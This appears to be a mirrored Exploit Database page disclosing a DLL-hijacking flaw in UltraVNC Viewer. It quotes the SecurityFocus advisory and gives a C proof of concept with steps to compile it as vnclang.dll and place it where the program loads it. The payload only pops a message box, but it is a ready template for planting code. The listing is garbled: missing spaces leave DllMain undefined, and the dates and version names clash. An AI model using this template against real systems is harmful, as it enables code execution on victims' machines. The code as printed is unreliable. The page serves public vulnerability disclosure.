UltraVNC 1.0.8.2 – DLL Loading Arbitrary Code Execution

• Exploit Database
• 50 阅读

• 作者： Ivan Markovic
  日期： 2010-08-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34542/

• // source: https://www.securityfocus.com/bid/42846/info
  
  UltraVNC is prone to a vulnerability that lets attackers execute arbitrary code.
  
  An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
  
  UltraVNC 1.0.8.2 is vulnerable; other versions may be affected. 
  
  /*
  ====================================================================
  UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll) 
  ====================================================================
  
  $ Program: UltraVNC Viewer
  $ Version: Connection 105
  $ Download: http://www.uvnc.com/
  $ Date: 2010/10/08
   
  Found by Pepelux <pepelux[at]enye-sec.org>
  http://www.pepelux.org
  eNYe-Sec - www.enye-sec.org
  
  Tested on: Windows XP SP2 && Windows XP SP3
  
  Howto use : 
  
  1> Compile this code as vnclang.dll
  	gcc -shared -o vnclang.dll thiscode.c
  2> Move DLL file to the directory where UltraVNC is installed
  3> Open any file recognized by UltraVNC
  */
  
  
  #include <windows.h>
  #define DllExport __declspec (dllexport)
  int mes()
  {
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
  }
  BOOL WINAPIDllMain (
  			HANDLEhinstDLL,
  DWORD fdwReason,
  LPVOIDlpvReserved)
  			{mes();}